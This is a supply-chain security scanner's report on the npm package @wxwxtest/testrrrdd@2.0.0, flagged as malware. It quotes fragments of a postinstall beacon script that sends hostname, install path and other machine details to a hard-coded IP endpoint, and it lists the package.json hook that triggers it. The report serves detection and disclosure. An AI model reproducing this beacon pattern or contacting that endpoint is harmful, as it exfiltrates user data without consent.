registry / Data exfiltration / @wxwxtest/testrrrdd
@wxwxtest/testrrrdd
Compatibility shim.
This report shows the evidence for @wxwxtest/testrrrdd@2.0.0. 7 of 8 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's postinstall hook runs, or a consumer imports index.js.
Impact
The external recipient learns identifying details about the machine and package installation.
Mechanism
The beacon collects the hostname, installation path, working directory, and npm version, then posts the payload to 185.158.107.175:8787.
Attack narrative
The postinstall hook runs beacon.cjs, which posts host and installation metadata to a fixed external IP. Importing index.js invokes the same beacon, so the transmission can also occur at runtime.
AI rationale
The package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs the beacon script.
- The beacon sends a POST request to a hard-coded external IP address.
- Its payload includes the machine hostname, installation path, working directory, and npm version.
- Importing the main entrypoint also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs the beacon script.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@2.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @wxwxtest/testrrrdd@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.